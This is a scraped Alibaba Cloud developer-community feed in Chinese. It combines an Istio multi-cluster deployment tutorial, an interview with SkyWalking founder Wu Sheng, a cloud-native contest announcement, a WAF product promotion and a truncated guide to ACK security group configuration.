                  如何使用 Istio 进行多集群部署管理(2): 单控制平面 Gateway 连接拓扑-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 单控制平面拓扑下,多个 Kubernetes 集群共同使用在其中一个集群上运行的单个 Istio 控制平面。控制平面的 Pilot 管理本地和远程集群上的服务,并为所有集群配置 Envoy Sidecar 代理。

                  集群感知的服务路由

                  Istio 1.1 中引入了集群感知的服务路由能力,在单一控制平面拓扑配置下,使用 Istio 的 Split-horizon EDS(水平分割端点发现服务)功能可以通过其入口网关将服务请求路由到其他集群。基于请求源的位置,Istio 能够将请求路由到不同的端点。

                  在该配置中,从一个集群中的 Sidecar 代理到同一集群中的服务的请求仍然被转发到本地服务 IP。如果目标工作负载在其他集群中运行,则使用远程集群的网关 IP 来连接到该服务。

                  image.png

                  如图所示,主集群 cluster1 运行全套的 Istio 控制平面组件,同时集群 cluster2 仅运行 Istio Citadel、Sidecar Injector 和 Ingress 网关。不需要 VPN 连接,不同集群中的工作负载之间也不需要直接网络访问。

                  从共享的根 CA 为每个集群的 Citadel 生成中间 CA 证书,共享的根 CA 启用跨不同集群的双向 TLS 通信。为了便于说明,我们将 samples/certs 目录下 Istio 安装中提供的示例根 CA 证书用于两个集群。在实际部署中,你可能会为每个集群使用不同的 CA 证书,所有 CA 证书都由公共根 CA 签名。

                  在每个 Kubernetes 集群中(包括示例中的集群 cluster1 与 cluster2)使用以下命令为生成的 CA 证书创建 Kubernetes 密钥:

                  kubectl create namespace istio-system
                  kubectl create secret generic cacerts -n istio-system 
                    --from-file=samples/certs/ca-cert.pem 
                    --from-file=samples/certs/ca-key.pem 
                    --from-file=samples/certs/root-cert.pem 
                    --from-file=samples/certs/cert-chain.pem

                  Istio 控制平面组件

                  在部署全套 Istio 控制平面组件的集群 cluster1 中,按照以下步骤执行:

                  1.安装 Istio 的 CRD 并等待几秒钟,以便将它们提交给 Kubernetes API 服务器,如下所示:

                  for
                  i in install/kubernetes/helm/istio-init/files/crd*yaml; do kubectl apply -f $i;
                  done

                  2.然后开始在集群 cluster1 中部署 Istio 控制平面。

                  如果 helm 依赖项缺失或者不是最新的,可以通过 helm dep update 来更新这些依赖项。需要注意的是,因为没有使用 istio-cni,可以暂时将其从依赖项 requirements.yaml 中去掉再执行更新操作。具体命令如下所示:

                  helm
                  template --name=istio --namespace=istio-system 
                  --set
                  global.mtls.enabled=true 
                  --set
                  security.selfSigned=false 
                  --set
                  global.controlPlaneSecurityEnabled=true 
                  --set
                  global.meshExpansion.enabled=true 
                  --set
                  global.meshNetworks.network2.endpoints[0].fromRegistry=n2-k8s-config 
                  --set
                  global.meshNetworks.network2.gateways[0].address=0.0.0.0 
                  --set
                  global.meshNetworks.network2.gateways[0].port=15443 
                  install/kubernetes/helm/istio
                  > ./istio-auth.yaml

                  请注意,网关地址设置为 0.0.0.0。这是一个临时占位符值,在集群 cluster2 部署之后将更新为其网关的公共 IP 值。

                  将 Istio 部署到 cluster1,如下所示:

                  kubectl apply -f ./istio-auth.yaml

                  确保上述步骤在 Kubernetes 集群中执行成功。

                  1. 创建网关以访问远程服务,如下所示:
                  kubectl
                  create -f - <<EOF
                  apiVersion:
                  networking.istio.io/v1alpha3
                  kind:
                  Gateway
                  metadata:
                    name: cluster-aware-gateway
                    namespace: istio-system
                  spec:
                    selector:
                      istio: ingressgateway
                    servers:
                    - port:
                        number: 15443
                        name: tls
                        protocol: TLS
                      tls:
                        mode: AUTO_PASSTHROUGH
                      hosts:
                      - "*"
                  EOF

                  上述网关配置了一个专用端口 15443 用来将传入流量传递到请求的 SNI 标头中指定的目标服务,从源服务到目标服务一直使用双向 TLS 连接。

                  请注意虽然该网关定义应用于集群 cluster1,但因为两个集群都与同一个 Pilot 进行通信,此网关实例同样也适用于集群 cluster2。

                  istio-remote 组件

                  在另一集群 cluster2 中部署 istio-remote 组件,按照以下步骤执行:

                  1.首先获取集群 cluster1 的入口网关地址,如下所示:

                  export LOCAL_GW_ADDR=$(kubectl get svc --selector=app=istio-ingressgateway 
                    -n istio-system -o
                  jsonpath="{.items[0].status.loadBalancer.ingress[0].ip}")

                  通过执行以下命令,使用 Helm 创建 Istio remote 部署 YAML 文件:

                  helm
                  template --name istio-remote --namespace=istio-system 
                  --values
                  install/kubernetes/helm/istio/values-istio-remote.yaml 
                  --set
                  global.mtls.enabled=true 
                  --set
                  gateways.enabled=true 
                  --set
                  security.selfSigned=false 
                  --set
                  global.controlPlaneSecurityEnabled=true 
                  --set
                  global.createRemoteSvcEndpoints=true 
                  --set
                  global.remotePilotCreateSvcEndpoint=true 
                  --set
                  global.remotePilotAddress=${LOCAL_GW_ADDR} 
                  --set
                  global.remotePolicyAddress=${LOCAL_GW_ADDR} 
                  --set
                  global.remoteTelemetryAddress=${LOCAL_GW_ADDR} 
                  --set
                  gateways.istio-ingressgateway.env.ISTIO_META_NETWORK="network2" 
                  --set
                  global.network="network2" 
                  install/kubernetes/helm/istio
                  > istio-remote-auth.yaml

                  2.将 Istio remote 组件部署到 cluster2,如下所示:

                  kubectl apply -f ./istio-remote-auth.yaml

                  确保上述步骤在 Kubernetes 集群中执行成功。

                  3.更新集群 cluster1 的配置项 istio,获取集群 cluster2 的入口网关地址,如下所示:

                  export
                  REMOTE_GW_ADDR=$(kubectl get --context=$CTX_REMOTE svc --selector=app=
                  istio-ingressgateway
                  -n istio-system -o jsonpath="{.items[0].status.loadBalancer.ingress
                  [0].ip}")

                  在集群 cluster1 中编辑命名空间 istio-system 下的配置项 istio,替换 network2 的网关地址,从 0.0.0.0 变成集群 cluster2 的入口网关地址 ${REMOTE_GW_ADDR}。保存后,Pilot 将自动读取更新的网络配置。

                  4.创建集群 cluster2 的 Kubeconfig。通过以下命令,在集群 cluster2 上创建服务账号 istio-multi 的 Kubeconfig,并保存为文件 n2-k8s-config:

                  CLUSTER_NAME="cluster2"
                  SERVER=$(kubectl
                  config view --minify=true -o "jsonpath={.clusters[].cluster.server}")
                  SECRET_NAME=$(kubectl
                  get sa istio-multi -n istio-system -o jsonpath='{.secrets[].name}')
                  CA_DATA=$(kubectl
                  get secret ${SECRET_NAME} -n istio-system -o
                  "jsonpath={.data['ca.crt']}")
                  TOKEN=$(kubectl
                  get secret ${SECRET_NAME} -n istio-system -o
                  "jsonpath={.data['token']}" | base64 --decode)
                  cat
                  <<EOF > n2-k8s-config
                  apiVersion:
                  v1
                  kind:
                  Config
                  clusters:
                    - cluster:
                        certificate-authority-data: ${CA_DATA}
                        server: ${SERVER}
                      name: ${CLUSTER_NAME}
                  contexts:
                    - context:
                        cluster: ${CLUSTER_NAME}
                        user: ${CLUSTER_NAME}
                      name: ${CLUSTER_NAME}
                  current-context:
                  ${CLUSTER_NAME}
                  users:
                    - name: ${CLUSTER_NAME}
                      user:
                        token: ${TOKEN}
                  EOF

                  5.将集群 cluster2 加入到 Istio 控制平面。

                  在集群 clusterl 执行以下命令,将上述生成的集群 cluster2 的 kubeconfig 添加到集群 cluster1 的 secret 中,执行这些命令后,集群 cluster1 中的 Istio Pilot 将开始监听集群 cluster2 的服务和实例,就像监听集群 cluster1 中的服务与实例一样:

                  kubectl create secret generic n2-k8s-secret --from-file n2-k8s-config -n istio-system
                  kubectl label secret n2-k8s-secret istio/multiCluster=true -n istio-system

                  部署示例应用

                  为了演示跨集群访问,在第一个 Kubernetes 集群 cluster1 中部署 sleep 应用服务和版本 v1 的 helloworld 服务,在第二个集群 cluster2 中部署版本 v2 的 helloworld 服务,然后验证 sleep 应用是否可以调用本地或者远程集群的 helloworld 服务。

                  1.部署 sleep 和版本 v1 的 helloworld 服务到第一个集群 cluster1 中,执行如下命令:

                  kubectl
                  create namespace app1
                  kubectl
                  label namespace app1 istio-injection=enabled
                  kubectl
                  apply -n app1 -f samples/sleep/sleep.yaml
                  kubectl
                  apply -n app1 -f samples/helloworld/service.yaml
                  kubectl
                  apply -n app1 -f samples/helloworld/helloworld.yaml -l version=v1
                  export
                  SLEEP_POD=$(kubectl get -n app1 pod -l app=sleep -o
                  jsonpath={.items..metadata.name})

                  2.部署版本 v2 的 helloworld 服务到第二个集群 cluster2 中,执行如下命令:

                  kubectl
                  create namespace app1
                  kubectl
                  label namespace app1 istio-injection=enabled
                  kubectl
                  apply -n app1 -f samples/helloworld/service.yaml
                  kubectl
                  apply -n app1 -f samples/helloworld/helloworld.yaml -l version=v2

                  3.登录到命名空间 istio-system 下的 istio-pilot 容器中,运行 curl localhost:8080/v1/registration | grep helloworld -A 11 -B 2 命令,如果得到如下类似的结果就说明版本 v1 与 v2 的 helloworld 服务都已经注册到 Istio 控制平面中了:
                  image.png

                  4.验证在集群 cluster1 中的 sleep 服务是否可以正常调用本地或者远程集群的 helloworld 服务,在集群 cluster1 下执行如下命令:

                  kubectl exec -it -n app1 $SLEEP_POD sh

                  image.png

                  登录到容器中,运行 curl helloworld.app1:5000/hello。

                  如果设置正确,则在返回的调用结果中可以看到两个版本的 helloworld 服务,同时可以通过查看 sleep 容器组中的 istio-proxy 容器日志来验证访问的端点 IP 地址,返回结果如下所示:
                  image.png

                  ]]>
                  浪迹天涯的骨灰级开源爱好者——对话阿里云 MVP吴晟-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 以下为吴晟的个人专访,推荐阅读(约4分钟)。

                  不妨做个自得其乐的俗人

                  SkyWalking 给我带来最大的收获是成就感和知名度。我想每一个项目的深度参与者都会有不同的收获,不但可以磨练自己的技术,也会对代码和产品更加执着,苛求细节、强调逻辑,业务能力方面也会有较大的提升。首先自己的社交圈扩大并提高,国内外技术圈、媒体、其他领域专家等都有机会接触到。其次,沟通能力甚至英语能力也会有长进,彻底从技术宅,变成一个擅长沟通、演讲(亦或忽悠)的产品经理兼售前兼自动化测试兼写手。在各方面都得到训练后,最终变得愈发自信和优秀。

                  开源的成就,也给了我实现爱好的经济基础。我是一个生活比较随性的人,喜欢车喜欢表,喜欢公路自驾。2012年至今,护照上已经记录下美国、新加坡、韩国、意大利、法国、瑞士、乌克兰、泰国、印度等等。自驾自然离不开车,买车也是我的一大乐趣,这10年来,从最入门的高尔夫开始,我陆陆续续买了6台车,现在有一台GLE 450 Coupe和X3。车和程序很相似——给定输入,一定会有标准输出。也是圆我自己大学没有选择车辆工程,而是软件工程的一个情结吧。目前的小目标是911 Turbo S和GLE AMG 63S。

                  除了满足我对技术的诉求,开源的全球会议也促成了各地旅游的好机会。对我来说,一个月内出现在4个不同场合,做不同受众的演讲是家常便饭;一星期需要出现在两个洲三个国家的Keynote上的生活也习以为常。不能说这种生活很轻松,我也时长在半夜写着文档,在10个小时的国际航班上构思会议内容,但这是符合我自己预期的方式。可以在会议的间隙,走遍欧洲城市的大街小巷,感受异国风情。在自己和家人的护照上盖满各国的入境章,是很有意思的事情。大家以同样的速度度过时间,而我们拥有更多记忆。

                  技术地位的确可以改变收入,哈哈,原谅我是个俗人。不过更重要的还是收获了志同道合的团队和技术宅们,也有了更好的公司和团队支持自己,这种财富是不可替代的。

                  吴晟.jpg

                  初识架构,崭露头角

                  我正式的工作和架构历程开始于研究生在读期间,在当时的微软MSC和微软MVP指导下,学习和编写一家保险公司的核心系统架构,包括整套的MVC、ORM框架、分布式通讯架构、以及自动化测试和性能测试等。2007-2009两年的实习工作,为我对整套分布式系统的理解奠定了良好的基础,也深深体会到了分布式对于系统的助力和挑战。

                  毕业之后,我先后在大唐软件和亚信中国,参与电信运行上的系统建设,期间一直在架构团队工作。在2011年,我参与到中国联通首个全国集中系统的建设中——一个8厂商合作的巨型SOA架构的分布式系统。首次引入分布式服务(以Web Service为技术代表,当时还没有微服务的概念)和SOA的系统架构,想要解决多厂商多应用间的问题定位、效率短板分析出现定位难的问题。这个项目为我之后设计ShardingSphere项目原型,和创立SkyWalking项目积累了重要的经验。

                  2014年,我以培训为目的开始建立SkyWalking项目,并先后在OneAPM及现在的北美Service Mesh公司tetrate.io,从不同的角度带领SkyWalking项目和社区。在大家的努力下,SkyWalking得以从Apache孵化器顺利毕业,成为顶级项目,并走向全球。

                  平步青云,共建开源生态

                  我与开源的结缘说来已久。在2014年,国内的开源市场可谓一片空白,顶级项目绝大多数来自国外,国内除了几个大厂背书的项目,很少有人涉足开源。项目从起步到发展,完全是摸着石头过河,全靠我们自己一步步的探索。从SkyWalking到CNCF基金会的OpenTracing项目,再到大名鼎鼎的Zipkin社区,最后深深根植于Apache基金会。没有任何前车之鉴,全靠大家齐心协力和多名社区老手的鼎力相助,他们开放和共享的工作态度与方式,给了我很深的印象。比如Google Dapper论文第一作者--Benjamin H. Sigelman ,Zipkin社区Leader--Adrian Cole,还有Apache Mentor,Mick Semb Wever和姜宁,以及其他无数国外的社区朋友。他们让我将一个中国的个人项目带进Apache孵化器,并帮助我学习建设社区的思路、方法,使其得以成功毕业并成为顶级项目。

                  孵化器是Apache为了新项目能够顺利创建而专门设立的工程,主要职责包括:过滤关于创建新项目或子项目的意向书;帮助创建项目及其所需的基础设施;监督和指导孵化的社区,从而实现开放的优秀文化氛围;评估孵化项目的成熟度,或者将其提升为官方项目/子项目的状态,反之若结论是失败的,则通过退役来解决。但孵化器不会根据技术问题执行过滤,因为基金会尊重和建议各种技术方法,甚至会允许在功能上重叠的项目之间进行内部的相互竞争。

                  而我本人也用了2年成为Apache基金会成员,现在兼任项目VP、孵化器PMC成员,从统计学来讲算是很快的速度,一般需要4-5年甚至更久时间的投入。在Apache基金会,一般会根据在整个基金会内的贡献(代码和非代码),得到认可后内部member提名、推举、和最终投票。每年只有全员大会一次机会认证。在其他基金会根据基金会性质会有所差异。

                  今天,我们的项目几乎覆盖了国内的所有大厂,以阿里云为首的各大共有云、私有云厂商,也都提供了相应的服务。项目被集成到大量的商业产品,甚至招标书中,已经成为事实标准。大量的基础社区反馈、国外社区的模型和理论共享、用户压力测试回馈,才造就了SkyWalking现在的设计和性能。所以可以说,没有开源社区这个有机整体的强大助力,就不会有今天 SkyWalking 的核心和高性能。

                  追逐开源有利可图

                  首先,开源不应该被神化。熟悉我的人,都知道我喜欢用『各怀鬼胎』来形容开源社区。很多人喜欢将开源定义为情怀,其实我很反对这样的想法。开源,可以是一个爱好,可以是一种技术追求,可以是一项工作,也可以是一种合作模式,可以是一个学习平台,更可以是一种盈利手段。无论企业还是个人,对开源的追逐都可以带来利益。

                  倘若公司内员工对知名开源项目有优秀贡献,会对公司自身的市场营销和技术品牌形成明显的正向反馈。而开源爱好者平等包容的开放心态,无论面对客户需求还是跨实体合作,都更具竞争力。开源公司自身的招聘吸引力、产品化能力优势亦然。对于个人来说,拥有开源项目经历,对个人能力和职业素养都有显著提升。2018年的开源职业报告显示,87%的雇主希望招聘到具备开源能力的员工,而55%的开源业内人士表示他们可以轻松地找到一份新工作。

                  请不要把道德高尚和开源扯上关系,他们没有什么必然的联系。如果你喜欢技术、勇于挑战,那么开源社区这个公开、开放而又竞争惨烈的地方,是一个好的选择。闭源或开源之间没有对与错,商业开源和KPI开源之间没有好与坏,大家都是各取所需、共同发展。至少,全球的开源风极大地提高了中国的软件水平。

                  吴晟的碎片化时间很多都用来思考和讨论方案,自由的工作时间背后是无限强大的自律心,支撑这位浪迹天涯的阿里云 MVP,更加笃定和从容。

                  TB1HLKARVXXXXcKXpXXXXXXXXXX-586-338.jpg
                  我要成为阿里云 MVP

                  ]]>
                  官宣 | 首届云原生编程挑战赛报名通道正式开启-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 “云原生编程挑战赛”是“中间件性能挑战赛”的全新升级!自 2015 年开始,大赛已经成功举办了五届,共吸引超过 12000 支队伍,15000 名顶尖选手参加,覆盖 10 余个国家和地区。

                  往届大赛毕业生是这样说的:视频点击这里

                  经历了跌宕起伏的比赛过程,感悟到冠军不是最重要的,重要的是参与了这场提升自己的赛事,攻克了自己的懈怠,结识了优秀的技术同胞。
                  --北京字节跳动网络技术有限公司--吴得瑀/微软中国有限公司--黎强/北京大学在读博士--张博洋

                  比赛带我们的不仅仅是荣誉,对生活和工作都会产生影响,这些影响可能是生活上更积极,工作上更注重个人技术能力提升。
                  --原中央军委后勤保障部信息中心--刘兰峥/深圳市烟草专卖--陆华俊

                  赛题本身的吸引力激发了我们参加比赛的欲望,通过参加比赛,让我们更相信,只要用心去做自己所热爱的事情,纵使是平凡的人也会做出伟大的事情。
                  --成都钛数智能科技有限公司--吴小刚/贵阳货车帮科技有限公司--陈林江/成都国美大数据科技有限公司--叶琦

                  中间件挑战赛的赛题场景性强,更具有挑战性。比赛过程中有分歧,有争议,最终克服困难,共同冲到了终点。
                  --成都电子科技大学,(在校生)程智凌&彭禹豪

                  作为尚未毕业的大学生,赛题对我们来说难度较高,有过想放弃的想法,但还是坚持到了最后,这份经历对我们来说是宝贵的,将让我们更加坚定以后的职业选择。
                  --广东工业大学,(在校生)古崟佑&郑妍

                  背景

                  中间件性能挑战赛被历届选手称为“中间件技术的风向标”,云原生编程挑战赛作为中间件性能挑战赛的全新升级版赛事,将继续把最新潮、最热门的云原生技术通过赛事传播给更多的开发者。

                  首届云原生编程挑战赛围绕“挑战 Serverless 极致弹性”展开,涉及 Service Mesh、Kubernetes、Serverless 等云原生热门技术领域。

                  云原生不仅将重塑整个软件生命周期,更能让所有企业充分享受上云的技术红利。初赛我们共准备了三个赛道供您选择(参赛选手可任意挑选1-3个赛道参赛),你准备好了么?点击文末”阅读原文“,直达大赛官网,报名、赛题解析、赛制说明、奇葩任务等都在这里~

                  初赛(05.20—06.30)

                  【赛道1】实现一个分布式统计和过滤的链路追踪

                  出品人:李小平(愚奇) 阿里云中间件首席架构师
                  明星导师:徐建伟(竹影) 阿里云技术专家

                  云原生环境错综复杂,而观察性就是云原生的眼睛。云原生的可观察性面临比较多的挑战,比如高性能,低资源,高质量数据。怎样用最短时间,找出特定特征的结果,是链路追踪的核心技术。

                  【赛道2】实现规模化容器静态布局和动态迁移

                  出品人:张瓅玶(谷朴) 阿里巴巴研究员

                  明星导师:贺伟(烛坤) 阿里云技术专家

                  阿里“双11”每年不断创造奇迹的背后,是巨大的资源成本投入,以支撑0点流量峰值。容器平台每年会承担数十万容器扩容诉求,以满足用户买买买的需求,但却会造成机器资源成本大幅度提升。如何用尽可能少的机器资源,既能保证业务稳定性,又能满足节省大促资源成本的需求,就是容器静态布局及动态迁移的艺术。

                  【赛道3】服务网格控制面分治体系构建

                  出品人:李小平(愚奇) 阿里云中间件首席架构师

                  明星导师:周遥(玄胤) 阿里云高级技术专家

                  阿里拥有百万级别的服务实例。虽然通过 Nacos 可以解决超大规模服务发现问题,但服务网格的先行者 Istio 却一直是单体全量数据,不能横向扩容。因此我们找个办法,通过让不同的 Pilot 实例负责不同的 Sidecar 即分治方式来支撑超大规模的系统。然而这里的一个挑战是:如何分配 Sidecar 才能让 Pilot 集群整体负载均衡 ?

                  首届云原生编程挑战赛作为中间件性能挑战赛的升级版技术赛事,初赛阶段推出“赛道明星”的概念,单独设置“赛道明星奖”-- Iphone 11 (128G),具体说明如下:

                  【赛道明星奖】--每赛道 10 支队伍,每支队伍奖励一部 iPhone11 (128G)

                  1、第一赛季结束后,3 个赛道最终排行榜上,成绩最优 TOP10 团队获得赛道明星奖。

                  2、同一选手只能获得一个赛道明星奖。多赛道入围前 10 排行榜的选手,按最高排行所在赛道计入名次。其余赛道该选手所在团队名次作废,获奖资格顺延。(例:A 选手在赛道 1 获得第一名,与 B 选手组队在赛道 2 获得第二名,则按赛道 1 名次发放奖品,赛道 2 名次作废,获奖资格向下顺延到第 11 名团队。)

                  3、阿里巴巴集团内部选手不参与赛道明星排行。

                  复赛(07.01—08.05)

                  【复赛赛题】实现一个 Serverless 计算服务调度系统

                  出品人:杨皓然(不瞋) 阿里云高级技术专家
                  明星导师:WANG Hongqi 阿里云高级技术专家

                  Serverless 计算服务(如FaaS)实现了根据实际代码执行时间和资源规格计费,这让使用者不用再承担闲置资源费用。服务方会采用多种手段优化服务端资源利用率。在这个优化的过程中,最根本的问题是如何平衡响应时间和资源利用率。

                  赛程安排

                  lALPD3lGqhrRcCTNAYvNBLA_1200_395_png_720x720q90g

                  奖项设置

                  (决赛)外部选手奖项设置:

                  ]]> 5月安全新品播课(1)|混合云下割裂的Web安全管理挑战如何破?-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 导语

                  4月29日,阿里云五大安全产品全面升级在线发布,包括发布阿里云Web应用防火墙混合云解决方案,破解混合云环境下割裂的web安全管理难题;发布容器安全解决方案,助力客户解决容器安全问题,提高运维管理效率;发布UEM终端访问控制系统,助力企业全面识别内网风险,应对远程办公安全挑战;统一身份认证服务IDaaS全新升级,实现从静态认证授权到动态智能风控;同时对SSL证书的现状与挑战做了详细阐述。

                  本期分享嘉宾

                  阿里云安全技术专家杨永

                  本期议题

                  云上云下的全方位管理与防护——阿里云WAF推出混合云安全方案

                  本期精彩看点

                  01混合云场景下WEB应用安全管理痛点

                  • 不同的管理资源、防护架构和不一致的安全工具导致安全管理割裂:
                  • 安全风险识别能力不同,安全水位具有差异性;
                  • 多业务、多资源安全防护过程中防护能力强弱不同,易引发安全事件;
                  • 安全防护基线不同,策略调整与安全运维人员投入资源巨大;
                  • 数据防护级别差异性大,数据隐私泄漏风险高。

                  02如何解决?

                  阿里云WAF推出混合云安全解决方案,实现多云环境下的统一管理:统一的运维中心,统一的网络接入,统一的安全防护和统一的安全管理。企业可以在公有云上进行集中的安全防护与管理,在专有云和私有云上部署软件化的阿里云软件WAF,能够轻松地跨越网络架构和机房的复杂性,实现云上云下的整体防护。

                  03该方案有何优势?

                  • 集中管控实现统一防护、统一运维;
                  • 云上威胁情报共享快速洞察风险、及时止损;
                  • AI+主动防御的多智能引擎帮助客户实现智能防护;
                  • 全球负载,实现多地容灾。

                  04适合什么样的企业场景?

                  • 正在进行全球化业务拓展的企业。业务应用部署在多云环境,需要进行统一安全防护与统一策略防护,该方案可以实现集中管控与安全风险处理,降低业务全球化过程中的安全风险,保障企业应用安全稳定发展;
                  • 数字化转型过程企业。业务趋于多元化,多应用、多场景化,该方案将有效解决业务侧安全管理问题,在促进业务发展的同时,保障安全;
                  • 进行云上云下业务整合过程中的企业。该方案实现云上安全防护与威胁大数据分析能力与云下真正协同,实现云上云下安全联动,全面解决应用安全风险。

                  目前,阿里云WAF提供为期一个月的免费试用,欢迎点击“阅读原文”申请试用。

                  https://page.aliyun.com/form/act829099116/index.htm?accounttraceid=f93e4764f959412699a4813f7e6913e3bluc

                  ]]>
                  阿里云ACK产品安全组配置管理-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800

                  作者:声东

                  阿里云容器产品Kubernetes版本,即ACK,基于阿里云IaaS层云资源创建。资源包括云服务器ECS,专有网络VPC,弹性伸缩ESS等。以这些资源为基础,ACK产品实现了Kubernetes集群的节点,网络,自动伸缩等组件和功能。

                  一般而言,用户对ACK产品有很大的管理权限,这包括集群扩容,创建服务等。与此同时,用户可以绕过ACK产品,对集群底层云资源进行修改。如释放ECS,删除SLB。如果不能理清背后的影响,这样的修改会损坏集群功能。

                  这篇文章会以ACK产品安全组的配置管理为核心,深入讨论安全组在集群中扮演的角色,安全组在网络链路中所处的位置,以及非法修改安全组会产生的各类问题。文章内容适用于专有集群和托管集群。

                  安全组在ACK产品中扮演的角色

                  阿里云ACK产品有两种基本形态,专有集群和托管集群。这两种形态的最大差别,就是用户对master的管理权限。对安全组来说,两种形态的集群略有差别,这里分开讨论。
                  1.png

                  专有集群使用资源编排ROS模板搭建集群的主框架。其中专有网络是整个集群运行的局域网,云服务器构成集群的节点,安全组构成集群节点的出入防火墙。

                  另外,集群使用弹性伸缩实现动态扩缩容功能,NAT网关作为集群的网络出口,SLB和EIP实现集群API Server的入口。
                  2.png

                  托管集群与专有集群类似,同样使用资源编排模板搭建集群的主框架。在托管集群中,云服务器,专有网络,负载均衡SLB,EIP,安全组等扮演的角色专有集群类似。

                  与专有集群不同的是,托管集群的master系统组件以Pod的形式运行在管控集群里。这就是用Kubernetes管理Kubernetes的概念。

                  因为托管集群在用户的VPC里,而管控集群在阿里云生产账号的VPC里。所以这样的架构需要解决的一个核心问题,就是跨账号跨VPC通信问题。

                  为了解决这个问题,此处用到类似传送门的技术。托管集群会在集群VPC里创建两个弹性网卡,这两个弹性网卡可以像普通云服务器一样,和集群节点通信。但是这两个网卡被挂载到托管集群的API Server Pod上,这就解决了跨VPC通信问题。

                  安全组与ACK集群网络

                  上一节总结了两种形态ACK集群的组成原理,以及安全组在集群中所处的位置。简单来说,安全组就是管理网络出入流量的防火墙。

                  安全组规则是基于数据包的目的地址而限流的。出规则需要基于对目标地址的管控需求而定,而入规则则需要对集群内部通信对象有所理解。以下图为例,ACK集群的内部的通信对象包括集群节点,和部署在集群上的容器组Pod两种。

                  3.png

                  云服务器没有太多特殊的地方,仅仅是简单的连接在VPC局域网内的ECS。而容器组Pod是连接在,基于veth网口对、虚拟网桥、以及VPC路由表所搭建的、和VPC独立的虚拟三层网络上的。

                  总结一下,有两种通信实体和三种通信方式,共六种通信场景。

                  相同节点通信 跨节点通信 外部通信
                  节点 无关 无关 有关
                  Pod 无关 无关/有关 有关

                  前三种场景,以节点为通信实体。第一种场景是节点与其上Pod通信,这种场景和安全组无关;第二种场景是节点与其他节点以及Pod通信,这种场景下,因为节点在相同VPC下,且Pod访问Pod网段以外的地址都会经过SNAT,所以和安全组无关;第三种场景是节点与VPC之外实体通信,这种情况不管出入都与安全组有关。
                  4.png

                  后三种场景,以容器组Pod为主要通信实体。第四种场景是Pod在节点内部与Pod和ECS通信,这种场景和安全组无关;第五种场景是Pod跨节点与其他节点以及Pod通信,这种场景下,如果源地址和目的地址都是Pod,则需要安全组入规则放行,其他情况与场景二类似;第六种场景是Pod与VPC之外实体通信,这与场景三类似。
                  5.png

                  虽然以上场景有些复杂,但是经过总结会发现,与安全组有关的通信,从根本上说就两种情况。一种是Pod之间跨节点通信,另一种是节点或Pod与外网互访。这里的外网可以是公网,也可以是与集群互联互通的IDC或者其他VPC。

                  怎么样管理ACK集群的安全组规则

                  上一节详细分析了安全组在ACK集群通信的时候,会影响到的场景。最后的结论是,配置ACK集群的安全组,只须考虑两种情况,一个是Pod跨节点互访,一个是集群和外网互访。

                  ACK集群在创建的时候,默认添加了Pod网段放行入规则,与此同时保持出规则对所有地址全开。这使得Pod之间互访没有问题,同时Pod或节点可以随意访问集群以外的网络。

                  而在默认规则的基础上对集群安全组的配置管理,其实就是在不影响集群功能的情况下,收紧Pod或节点访问外网的能力,和放松集群以外网络对集群的访问。

                  下边我们分三个常见的场景,来进一步分析,怎么样在默认规则的基础上,进一步管理集群的安全组规则。第一个场景是限制集群访问外网,第二个场景是IDC与集群互访,第三个场景是使用新的安全组管理部分节点。

                  限制集群访问外网

                  这是非常常见的一个场景。为了在限制集群访问外网的同时,不影响集群本身的功能,配置需要满足三个条件。

                  1. 不能限制出方向Pod网段
                  2. 不能限制集群访问阿里云云服务的内网地址段100.64.0.0/10
                  3. 不能限制集群访问一部分阿里云云服务的公网地址

                  ecs.cn-hangzhou.aliyuncs.com
                  ecs-cn-hangzhou.aliyuncs.com
                  vpc.cn-hangzhou.aliyuncs.com
                  slb.cn-hangzhou.aliyuncs.com
                  location-readonly.aliyuncs.com
                  location.aliyuncs.com
                  pvtz.cn-hangzhou.aliyuncs.com
                  cs.cn-hangzhou.aliyuncs.com
                  nas.cn-hangzhou.aliyuncs.com
                  oss-cn-hangzhou.aliyuncs.com
                  cr.cn-hangzhou.aliyuncs.com
                  metrics.cn-hangzhou.aliyuncs.com
                  ess.cn-hangzhou.aliyuncs.com
                  eci.cn-hangzhou.aliyuncs.com
                  alidns.cn-hangzhou.aliyuncs.com
                  sls.cn-hangzhou.aliyuncs.com
                  arms.cn-hangzhou.aliyuncs.com

                  其中第一条显而易见,第二条为了确保集群可以通过内网访问DNS或者OSS这类服务,第三条是因为集群在实现部分功能的时候,会通过公网地址访问云服务。

                  IDC与集群互访

                  IDC与集群互访这种场景,假设IDC和集群VPC之间,已经通过底层的网络产品打通,IDC内部机器和集群节点或者Pod之间,可以通过地址找到对方。

                  这种情况下,只需要在确保出方向规则放行IDC机器网段的情况下,对入规则配置放行IDC机器地址段即可。

                  使用新的安全组管理节点

                  某些时候,用户需要新增加一些安全组来管理集群节点。比较典型的用法,包括把集群节点同时加入到多个安全组里,和把集群节点分配给多个安全组管理。

                  如果把节点加入到多个安全组里,那么这些安全组会依据优先级,从高到低依次匹配规则,
                  这会给配置管理增加复杂度。而把节点分配给多个安全组管理,则会出现脑裂问题,需要通过安全组之间授权,或者增加规则的方式,确保集群节点之间互通。

                  典型问题与解决方案

                  前边的内容包括了安全组在ACK集群中所扮演的角色,安全组与集群网络,以及安全组配置管理方法。最后一节基于阿里云售后线上客户海量问题的排查经验,分享一些典型的,与安全组错误配置有关系的问题和解决方案。

                  使用多个安全组管理集群节点

                  托管集群默认把节点ECS和管控ENI弹性网卡放在同一个安全组里,根据安全组的特性,这保证了ENI网卡和ECS的网卡之间在VPC网络平面上的互通。如果把节点从集群默认安全组里移除并纳入其他安全组的管理当中,这导致集群管控ENI和节点ECS之间无法通行。

                  这个问题的现象,比较常见的有,使用kubectl exec命令无法进去pod终端做管理,使用kubectl logs命令无法查看pod日志等。其中kubectl exec命令所返回的报错比较清楚,即从API Server连接对应节点10250端口超时,这个端口的监听者就是kubelet。

                  6.png

                  此问题的解决方案有三种,一个是将集群节点重新加入集群创建的安全组,另一个是对节点所在的安全组和集群创建的安全组之间互相授权,最后一个方式是,在两个安全组里使用规则来互相放行节点ECS和管控ENI的地址段。

                  限制集群访问公网或者运营级NAT保留地址

